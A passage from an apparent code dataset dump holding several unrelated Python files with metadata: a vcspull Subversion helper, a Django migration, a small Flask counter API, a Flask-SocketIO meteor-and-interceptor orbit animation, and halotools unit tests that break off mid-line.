stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n env=os.environ.copy(),\n )\n\n def get_revision_file(self, location=None):\n \"\"\"Return revision for a file.\"\"\"\n\n if location:\n cwd = location\n else:\n cwd = self['path']\n\n current_rev = run(\n ['svn', 'info', cwd],\n )\n infos = current_rev['stdout']\n\n _INI_RE = re.compile(r\"^([^:]+):\\s+(\\S.*)$\", re.M)\n\n info_list = []\n for infosplit in infos:\n info_list.extend(_INI_RE.findall(infosplit))\n\n return int(dict(info_list)['Revision'])\n\n def get_location(self, dist, dependency_links):\n for url in dependency_links:\n egg_fragment = Link(url).egg_fragment\n if not egg_fragment:\n continue\n if '-' in egg_fragment:\n ## FIXME: will this work when a package has - in the name?\n key = '-'.join(egg_fragment.split('-')[:-1]).lower()\n else:\n key = egg_fragment\n if key == dist.key:\n return url.split('#', 1)[0]\n return None\n\n def get_revision(self, location=None):\n \"\"\"\n Return the maximum revision for all files under a given location\n \"\"\"\n\n if not location:\n location = self['url']\n\n if os.path.exists(location) and not os.path.isdir(location):\n return self.get_revision_file(location)\n\n # Note: taken from setuptools.command.egg_info\n revision = 0\n\n for base, dirs, files in os.walk(location):\n if '.svn' not in dirs:\n dirs[:] = []\n continue # no sense walking uncontrolled subdirs\n dirs.remove('.svn')\n entries_fn = os.path.join(base, '.svn', 'entries')\n if not os.path.exists(entries_fn):\n ## FIXME: should we warn?\n continue\n\n dirurl, localrev = self._get_svn_url_rev(base)\n\n if base == location:\n base_url = dirurl + '/' # save the root url\n elif not dirurl or not dirurl.startswith(base_url):\n dirs[:] = []\n continue # not part of the same svn tree, skip it\n revision = max(revision, localrev)\n return revision\n\n def get_url_rev(self):\n # hotfix the URL scheme after removing svn+ from svn+ssh:// readd it\n url, rev = super(SubversionRepo, self).get_url_rev()\n if url.startswith('ssh://'):\n url = 'svn+' + url\n return url, rev\n\n def get_url(self, location=None):\n if not location:\n location = self['url']\n\n # In cases where the source is in a subdirectory, not alongside setup.py\n # we have to look up in the location until we find a real setup.py\n orig_location = location\n while not os.path.exists(os.path.join(location, 'setup.py')):\n last_location = location\n location = os.path.dirname(location)\n if location == last_location:\n # We've traversed up to the root of the filesystem without finding setup.py\n logger.warn(\"Could not find setup.py for directory %s (tried all parent directories)\"\n % orig_location)\n return None\n\n return self._get_svn_url_rev(location)[0]\n\n def _get_svn_url_rev(self, location):\n from pip.exceptions import InstallationError\n\n f = open(os.path.join(location, '.svn', 'entries'))\n data = f.read()\n f.close()\n if data.startswith('8') or data.startswith('9') or data.startswith('10'):\n data = list(map(str.splitlines, data.split('\\n\\x0c\\n')))\n del data[0][0] # get rid of the '8'\n url = data[0][3]\n revs = [int(d[9]) for d in data if len(d) > 9 and d[9]] + [0]\n elif data.startswith('= 1.7\n xml = run(['svn', 'info', '--xml', location])['stdout']\n url = _svn_info_xml_url_re.search(xml).group(1)\n revs = [int(m.group(1)) for m in _svn_info_xml_rev_re.finditer(xml)]\n except InstallationError:\n url, revs = None, []\n\n if revs:\n rev = max(revs)\n else:\n rev = 0\n\n return url, rev\n\n def get_tag_revs(self, svn_tag_url):\n stdout = run(\n ['svn', 'ls', '-v', svn_tag_url], show_stdout=False)\n results = []\n for line in stdout.splitlines():\n parts = line.split()\n rev = int(parts[0])\n tag = parts[-1].strip('/')\n results.append((tag, rev))\n return results\n\n def find_tag_match(self, rev, tag_revs):\n best_match_rev = None\n best_tag = None\n for tag, tag_rev in tag_revs:\n if (tag_rev > rev and\n (best_match_rev is None or best_match_rev > tag_rev)):\n # FIXME: Is best_match > tag_rev really possible?\n # or is it a sign something is wacky?\n best_match_rev = tag_rev\n best_tag = tag\n return best_tag\n\n def update_repo(self, dest=None):\n self.check_destination()\n if os.path.isdir(os.path.join(self['path'], '.svn')):\n dest = self['path'] if not dest else dest\n\n url, rev = self.get_url_rev()\n\n process = self.run(\n ['svn', 'update'],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n env=os.environ.copy(), cwd=self['path'],\n )\n\n\n else:\n self.obtain()\n self.update_repo()\n\n\ndef get_rev_options(url, rev):\n \"\"\"Return revision options.\n\n from pip pip.vcs.subversion.\n\n \"\"\"\n if rev:\n rev_options = ['-r', rev]\n else:\n rev_options = []\n\n r = urlparse.urlsplit(url)\n if hasattr(r, 'username'):\n # >= Python-2.5\n username, password = r.username, r.password\n else:\n netloc = r[1]\n if '@' in netloc:\n auth = netloc.split('@')[0]\n if ':' in auth:\n username, password = auth.split(':', 1)\n else:\n username, password = auth, None\n else:\n username, password = None, None\n\n if username:\n rev_options += ['--username', username]\n if password:\n rev_options += ['--password', password]\n return rev_options\n", "sub_path": "vcspull/repo/svn.py", "file_name": "svn.py", "file_ext": "py", "file_size_in_byte": 7917, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "logging.getLogger", "line_number": 32, "usage_type": "call"}, {"api_name": "base.BaseRepo", "line_number": 35, "usage_type": "name"}, {"api_name": "base.BaseRepo.__init__", "line_number": 41, "usage_type": "call"}, {"api_name": "base.BaseRepo", "line_number": 41, "usage_type": "name"}, {"api_name": "subprocess.PIPE", "line_number": 51, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.environ.copy", "line_number": 53, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 53, "usage_type": "attribute"}, {"api_name": "util.run", "line_number": 64, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 69, "usage_type": "call"}, {"api_name": "re.M", "line_number": 69, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path", "line_number": 99, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 99, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 141, "usage_type": "call"}, {"api_name": "os.path", "line_number": 141, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path", "line_number": 153, "usage_type": "attribute"}, {"api_name": "util.run", "line_number": 170, "usage_type": "call"}, {"api_name": "pip.exceptions.InstallationError", "line_number": 173, "usage_type": "name"}, {"api_name": "util.run", "line_number": 184, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 208, "usage_type": "call"}, {"api_name": "os.path", "line_number": 208, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 208, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 215, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 216, "usage_type": "attribute"}, {"api_name": "os.environ.copy", "line_number": 217, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 217, "usage_type": "attribute"}, {"api_name": "_compat.urlparse.urlsplit", "line_number": 237, "usage_type": "call"}, {"api_name": "_compat.urlparse", "line_number": 237, "usage_type": "name"}]} +{"seq_id": "602144221", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0002_post_caption'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='post',\n name='drunk',\n field=models.BooleanField(default=False),\n ),\n migrations.AddField(\n model_name='post',\n name='garbage',\n field=models.IntegerField(default=0),\n ),\n migrations.AddField(\n model_name='post',\n name='love',\n field=models.IntegerField(default=0),\n ),\n migrations.AlterField(\n model_name='post',\n name='caption',\n field=models.CharField(max_length=200, default='You should add a caption'),\n ),\n ]\n", "sub_path": "blog/migrations/0003_auto_20170711_1514.py", "file_name": "0003_auto_20170711_1514.py", "file_ext": "py", "file_size_in_byte": 875, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 27, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 27, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 29, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 32, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 32, "usage_type": "name"}]} +{"seq_id": "78154417", "text": "# coding: utf-8\n\nfrom flask import Flask, jsonify\nfrom webargs import fields\nfrom webargs.flaskparser import use_kwargs\n\nfrom model.click_count import ClickCountModule\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n return jsonify({'data': 'haha', 'success': True})\n\n\n@app.route('/click_counts', methods=['POST'])\n@use_kwargs({'open_id': fields.Str(required=True, allow_none=False)})\ndef create_click_count(open_id):\n ClickCountModule().create_click_count(open_id)\n return jsonify({'success': True})\n\n\n@app.route('/click_counts/', methods=['PUT'])\ndef inc_click_count(open_id):\n count = ClickCountModule().inc_click_count(open_id)\n return jsonify({'success': True, 'count': count})\n", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 713, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "flask.Flask", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 14, "usage_type": "call"}, {"api_name": "model.click_count.ClickCountModule", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 21, "usage_type": "call"}, {"api_name": "webargs.flaskparser.use_kwargs", "line_number": 18, "usage_type": "call"}, {"api_name": "webargs.fields.Str", "line_number": 18, "usage_type": "call"}, {"api_name": "webargs.fields", "line_number": 18, "usage_type": "name"}, {"api_name": "model.click_count.ClickCountModule", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 27, "usage_type": "call"}]} +{"seq_id": "311157469", "text": "from flask import Flask, render_template, url_for,session, request, \\\r\n copy_current_request_context\r\nfrom flask_socketio import SocketIO, emit, join_room, leave_room, \\\r\n close_room, rooms, disconnect\r\nimport numpy as np\r\nimport json\r\n \r\n\r\n\r\napp = Flask(__name__)\r\napp.config['SECRET_KEY'] = 'secret!'\r\nsocketio = SocketIO(app)\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template('index2.html', **locals())\r\n \r\n\r\n@socketio.event\r\ndef my_event(message):\r\n\r\n x0= float(message['x0'])\r\n y0= float(message['y0'])\r\n z0= float(message['z0'])\r\n v0= float(message['v0'])\r\n\r\n class posInicial:\r\n def __init__(self, x0, y0, z0, v, n_frames, R_anim):\r\n self.Rt=6378 #km\r\n self.Rp = 30000 #r perigeo trayectoria misil, altura de impacto\r\n self.x0=x0\r\n self.z0=z0\r\n self.y0=y0\r\n self.v=v #v meteo\r\n self.n_frames=n_frames #numero de frames para dar una vuelta a la Tierra\r\n self.R_anim=R_anim\r\n self.pos0=np.array([x0, y0, z0])\r\n\r\n def inicial(self):\r\n \r\n pos_unitario = self.pos0/np.linalg.norm(self.pos0)\r\n\r\n return pos_unitario\r\n\r\n def vect_pos(self):\r\n \r\n \r\n r0 = posInicial.distancia(self)\r\n pos_unitario = posInicial.inicial(self)\r\n vect = posInicial.tiempos_frames(self)\r\n tf = vect[0]\r\n R = self.R_anim/6378 # 1km realidad = 1/6378 en la animacion\r\n pos = np.zeros((tf,3))\r\n poserror = np.zeros((tf,3))\r\n\r\n for i in range(tf):\r\n d = r0/(tf-1)\r\n pos[i]= self.pos0 - i*d*pos_unitario\r\n poserror[i]= (self.pos0 - i*np.linalg.norm(self.pos0)/(tf-1)*pos_unitario)/6378\r\n\r\n pos_impacto = pos_unitario\r\n\r\n pos_anim = pos * R #vector con posiciones en la animacion\r\n\r\n r=np.zeros((tf,1))\r\n for i in range(tf):\r\n r[i]=np.sqrt(pos_anim[i,0]**2+pos_anim[i,1]**2+pos_anim[i,2]**2)\r\n\r\n return pos_anim, r, pos_impacto, poserror\r\n\r\n def coord(self):\r\n\r\n if (self.z0 >= 0):\r\n n=1\r\n q=-1\r\n else:\r\n n=-1\r\n q=1\r\n if (self.y0 >=0):\r\n m=1\r\n else:\r\n m=-1\r\n\r\n if (self.x0 >=0):\r\n l=0\r\n else:\r\n l=np.pi/2\r\n \r\n lat = np.arcsin(np.absolute(self.pos0[2])/np.linalg.norm(self.pos0)) * n #rad\r\n\r\n beta = np.pi/2 + np.arcsin(np.absolute(self.pos0[2])/np.linalg.norm(self.pos0))*q\r\n\r\n #longitud= angulo con meridiano greenwich, plano (0,1,0)\r\n\r\n long = (np.arcsin(np.absolute(self.y0)/(np.linalg.norm(self.pos0)*np.cos(lat))) + l) * m #rad\r\n\r\n vect = [lat, beta, long]\r\n\r\n return vect\r\n\r\n def distancia(self):\r\n dist = np.linalg.norm(self.pos0)\r\n dist = dist - self.Rp\r\n\r\n return dist\r\n\r\n def tiempos_frames(self):\r\n\r\n h = self.n_frames/24 #1 hora = 100/24 frames\r\n t = posInicial.distancia(self)/self.v #tiempo en s\r\n th = t/3600 #h\r\n tf = th* h # numero de frames en una simulacion\r\n tf = int(tf) #numero de frames = entero inmediatamente inferior\r\n vect = [tf, h]\r\n return vect\r\n \r\n\r\n\r\n\r\n ################################################################################\r\n ################################################################################\r\n\r\n class misil:\r\n def __init__(self, R_anim, vect,r_meteo,lat_lon):\r\n\r\n # vect es h y tf;\r\n # r_meteo es dist meteo (r)\r\n # lat_lont es lat beta lon\r\n\r\n self.Rt= 6378 #km\r\n self.R_anim = R_anim\r\n self.v0= 10 #km/s\r\n self.muT = 3.986*10**5 #km^3/s^2\r\n self.r0 = self.Rt\r\n self.Rp = 30000 #km Radio del apogeo\r\n self.Q = self.r0*self.v0**2/self.muT #conocemos\r\n self.a = self.r0/(2-self.Q) #conocemos\r\n self.e = self.Rp/self.a-1\r\n self.phi0 = np.arccos(np.sqrt((1-self.e**2)/(self.Q*(2-self.Q))))\r\n self.tf = vect[0]\r\n self.h = vect[1]\r\n self.r_meteo = r_meteo\r\n self.lat = lat_lon[0]\r\n self.beta = lat_lon[1]\r\n self.long = lat_lon[2]\r\n\r\n def ang_alcance(self):\r\n \r\n denominador = np.sqrt(1-self.Q*(2-self.Q)*(np.cos(self.phi0))**2)\r\n numerador = (1-self.Q*(np.cos(self.phi0)**2))\r\n alcance=np.arccos(numerador/denominador)\r\n\r\n return alcance\r\n\r\n def t_impacto(self):\r\n\r\n E0=np.arccos((self.e-np.cos(misil.ang_alcance(self)))/(1-self.e*np.cos(misil.ang_alcance(self))))\r\n tv = 2*np.sqrt(self.a**3/self.muT)*(np.pi-E0+self.e+self.e*np.sin(E0)) #s\r\n tv_hora=tv/3600 #Tiempo en horas hasta impacto\r\n\r\n n_frames_hasta_impacto = tv_hora * self.h #h es la relacion frames/hora\r\n n_frames_hasta_impacto = int(n_frames_hasta_impacto) #n frames en los que tenemos que calcular la trayectoria\r\n #del misil\r\n \r\n \r\n\r\n \r\n n_frames_hasta_misil = self.tf - n_frames_hasta_impacto #n frames hasta que se lanza el misil \r\n n_frames = [n_frames_hasta_impacto, n_frames_hasta_misil, self.tf]\r\n\r\n \r\n return n_frames\r\n \r\n def rmisil(self):\r\n\r\n pmisil = self.r0*self.Q*(np.cos(self.phi0))**2\r\n nu0 = np.pi - misil.ang_alcance(self)\r\n r_misil = np.zeros((misil.t_impacto(self)[0],1))\r\n r_misil = np.zeros((misil.t_impacto(self)[2],1))\r\n nu = np.linspace(nu0,np.pi,num=misil.t_impacto(self)[0])\r\n\r\n \r\n for i in range(misil.t_impacto(self)[2]):\r\n if (i < misil.t_impacto(self)[1]):\r\n r_misil[i]=0\r\n \r\n else:\r\n r_misil[i]= pmisil/(1+self.e*np.cos(nu[i-misil.t_impacto(self)[1]]))\r\n\r\n \r\n \r\n return r_misil, nu\r\n \r\n def coord_misil(self):\r\n coord_cart = np.zeros((misil.t_impacto(self)[2],3))\r\n alpha = np.zeros((misil.t_impacto(self)[0],1))\r\n\r\n r_misil , nu = misil.rmisil(self)\r\n n_frames = misil.t_impacto(self)\r\n\r\n for i in range(n_frames[2]):\r\n if (i < n_frames[1]):\r\n pass\r\n else:\r\n alpha[i-n_frames[1]] = self.long - misil.ang_alcance(self) + (nu[i-n_frames[1]] - nu[0])\r\n coord_cart[i,0] = r_misil[i] * np.sin(self.beta) * np.cos(alpha[i-n_frames[1]])\r\n coord_cart[i,1] = r_misil[i] * np.sin(self.beta) * np.sin(alpha[i-n_frames[1]])\r\n coord_cart[i,2] = r_misil[i] * np.cos(self.beta)\r\n\r\n R = self.R_anim/6378 # 1km realidad = 1/6378 en la animacion\r\n cart_anim = coord_cart * R #vector con posiciones en la animacion\r\n \r\n\r\n return cart_anim, coord_cart\r\n\r\n def dire(self):\r\n\r\n dir = np.zeros((misil.t_impacto(self)[2]-1,3))\r\n\r\n dirx = np.zeros((misil.t_impacto(self)[2]-1,1))\r\n diry = np.zeros((misil.t_impacto(self)[2]-1,1))\r\n dirz = np.zeros((misil.t_impacto(self)[2]-1,1))\r\n\r\n n_frames = misil.t_impacto(self)\r\n\r\n coord_cart = misil.coord_misil(self)[1]\r\n # no estaba puesto el 1\r\n # tambien seria valido: a, coord_cart = misil.coord_misil(self)\r\n\r\n for i in range(misil.t_impacto(self)[2]-1):\r\n dir[i,0] = coord_cart[i+1,0]-coord_cart[i,0]\r\n dir[i,1] = coord_cart[i+1,1]-coord_cart[i,1]\r\n dir[i,2] = coord_cart[i+1,2]-coord_cart[i,2]\r\n \r\n if (i < n_frames[1]):\r\n pass\r\n else:\r\n dirz[i] = np.arccos(dir[i,2]/np.linalg.norm(dir[i]))\r\n dirx[i] = np.arccos(dir[i,0]/(np.sin(dirz[i])*np.linalg.norm(dir[i])))\r\n diry[i] = np.pi/2 - dirx[i]\r\n\r\n return dirx, diry, dirz \r\n\r\n prueba1 = posInicial(x0,y0,z0,v0,200,1)\r\n pos_anim, r_meteo, pos_impacto, pos_error = prueba1.vect_pos()\r\n prueba2 = misil(1,prueba1.tiempos_frames(), r_meteo, prueba1.coord() )\r\n \r\n if (prueba2.t_impacto()[0] < prueba2.t_impacto()[2]):\r\n message['pos_misil']= prueba2.coord_misil()[0].tolist()\r\n message['pos_meteo'] = pos_anim.tolist()\r\n else:\r\n message['pos_misil'] = np.zeros((prueba2.t_impacto()[2],3)).tolist()\r\n message['pos_meteo']= pos_error.tolist()\r\n\r\n\r\n \r\n message['dir_x']= prueba2.dire()[0].tolist()\r\n message['dir_y']= prueba2.dire()[1].tolist()\r\n message['dir_z']= prueba2.dire()[2].tolist()\r\n message['impacto'] = pos_impacto.tolist()\r\n\r\n\r\n print(message['pos_meteo'])\r\n print(message['pos_misil'])\r\n print(message['dir_x'])\r\n print(message['dir_y'])\r\n print(message['dir_z'])\r\n print(message['impacto'])\r\n\r\n \r\n\r\n json.dumps({'pos_meteo': message['pos_meteo']})\r\n json.dumps({'pos_misil': message['pos_misil']})\r\n json.dumps({'dir_x': message['dir_x']})\r\n json.dumps({'dir_y': message['dir_y']})\r\n json.dumps({'dir_z': message['dir_z']})\r\n json.dumps({'impacto': message['impacto']})\r\n\r\n emit('my_response',\r\n {'pos_meteo': message['pos_meteo'], 'pos_misil': message['pos_misil'], 'dir_x': message['dir_x'], 'dir_y': message['dir_y'], 'dir_z': message['dir_z'], 'impacto': message['impacto']})\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=False,host='0.0.0.0')\r\n socketio.run(app)\r\n", "sub_path": "app2.py", "file_name": "app2.py", "file_ext": "py", "file_size_in_byte": 9948, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "flask.Flask", "line_number": 10, "usage_type": "call"}, {"api_name": "flask_socketio.SocketIO", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 41, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 59, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 87, "usage_type": "attribute"}, {"api_name": "numpy.arcsin", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.absolute", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 89, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.arcsin", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.absolute", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.arcsin", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.absolute", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 95, "usage_type": "attribute"}, {"api_name": "numpy.cos", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 102, "usage_type": "attribute"}, {"api_name": "numpy.arccos", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.arccos", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.arccos", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 158, "usage_type": "attribute"}, {"api_name": "numpy.sin", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 177, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 180, "usage_type": "attribute"}, {"api_name": "numpy.cos", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 208, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 218, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 220, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.arccos", "line_number": 238, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 238, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 238, "usage_type": "attribute"}, {"api_name": "numpy.arccos", "line_number": 239, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 239, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 239, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 239, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 240, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 252, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 272, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 273, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 274, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 275, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 276, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 277, "usage_type": "call"}, {"api_name": "flask_socketio.emit", "line_number": 279, "usage_type": "call"}]} +{"seq_id": "300907481", "text": "#!/usr/bin/env python\nfrom __future__ import (absolute_import, division, print_function)\n\nfrom unittest import TestCase\nfrom copy import deepcopy \n\nfrom collections import Counter\nfrom copy import deepcopy \n\nimport numpy as np \n\nfrom astropy.tests.helper import pytest\nfrom astropy.table import Table \n\nfrom ..value_added_halo_table_functions import *\n\nfrom ...sim_manager import FakeSim\n\nfrom ...custom_exceptions import HalotoolsError\n\n__all__ = ['TestValueAddedHaloTableFunctions']\n\nclass TestValueAddedHaloTableFunctions(TestCase):\n \"\"\" Class providing tests of the `~halotools.utils.value_added_halo_table_functions`. \n \"\"\"\n def setUp(self):\n fake_sim = FakeSim()\n self.table= fake_sim.halo_table\n\n def test_broadcast_host_halo_mass1(self):\n \"\"\"\n \"\"\"\n t = deepcopy(self.table)\n broadcast_host_halo_property(t, 'halo_mvir')\n\n assert 'halo_mvir_host_halo' in t.keys()\n\n hostmask = t['halo_hostid'] == t['halo_id']\n assert np.all(t['halo_mvir_host_halo'][hostmask] == t['halo_mvir'][hostmask])\n assert np.any(t['halo_mvir_host_halo'][~hostmask] != t['halo_mvir'][~hostmask])\n\n data = Counter(t['halo_hostid'])\n frequency_analysis = data.most_common()\n\n for igroup in xrange(0, 10):\n idx = np.where(t['halo_hostid'] == frequency_analysis[igroup][0])[0]\n idx_host = np.where(t['halo_id'] == frequency_analysis[igroup][0])[0]\n assert np.all(t['halo_mvir_host_halo'][idx] == t['halo_mvir'][idx_host])\n\n for igroup in xrange(-10, -1):\n idx = np.where(t['halo_hostid'] == frequency_analysis[igroup][0])[0]\n idx_host = np.where(t['halo_id'] == frequency_analysis[igroup][0])[0]\n assert np.all(t['halo_mvir_host_halo'][idx] == t['halo_mvir'][idx_host])\n\n del t\n\n def test_broadcast_host_halo_mass2(self):\n \"\"\"\n \"\"\"\n t = deepcopy(self.table)\n with pytest.raises(HalotoolsError) as err:\n broadcast_host_halo_property(4, 'xxx')\n substr = \"The input ``table`` must be an Astropy `~astropy.table.Table` object\"\n assert substr in err.value.message\n\n del t\n\n def test_broadcast_host_halo_mass3(self):\n \"\"\"\n \"\"\"\n t = deepcopy(self.table)\n with pytest.raises(HalotoolsError) as err:\n broadcast_host_halo_property(t, 'xxx')\n substr = \"The input table does not the input ``halo_property_key``\"\n assert substr in err.value.message\n\n del t\n\n def test_broadcast_host_halo_mass4(self):\n \"\"\"\n \"\"\"\n t = deepcopy(self.table)\n broadcast_host_halo_property(t, 'halo_mvir')\n\n with pytest.raises(HalotoolsError) as err:\n broadcast_host_halo_property(t, 'halo_mvir')\n substr = \"Your input table already has an existing new_colname column name.\"\n assert substr in err.value.message\n\n broadcast_host_halo_property(t, 'halo_mvir', delete_possibly_existing_column = True)\n \n del t\n\n def test_add_halo_hostid1(self):\n \"\"\"\n \"\"\"\n with pytest.raises(HalotoolsError) as err:\n add_halo_hostid(5, delete_possibly_existing_column = False)\n substr = \"The input ``table`` must be an Astropy `~astropy.table.Table` object\"\n assert substr in err.value.message\n\n def test_add_halo_hostid2(self):\n \"\"\"\n \"\"\"\n t = deepcopy(self.table)\n del t['halo_id']\n with pytest.raises(HalotoolsError) as err:\n add_halo_hostid(t, delete_possibly_existing_column = False)\n substr = \"The input table must have ``halo_upid`` and ``halo_id`` keys\"\n assert substr in err.value.message\n\n def test_add_halo_hostid3(self):\n \"\"\"\n \"\"\"\n t = deepcopy(self.table)\n with pytest.raises(HalotoolsError) as err:\n add_halo_hostid(t, delete_possibly_existing_column = False)\n substr = \"Your input table already has an existing ``halo_hostid`` column name.\"\n assert substr in err.value.message\n\n existing_halo_hostid = deepcopy(t['halo_hostid'].data)\n del t['halo_hostid']\n\n add_halo_hostid(t, delete_possibly_existing_column = False)\n\n assert np.all(t['halo_hostid'] == existing_halo_hostid)\n\n add_halo_hostid(t, delete_possibly_existing_column = True)\n assert np.all(t['halo_hostid'] == 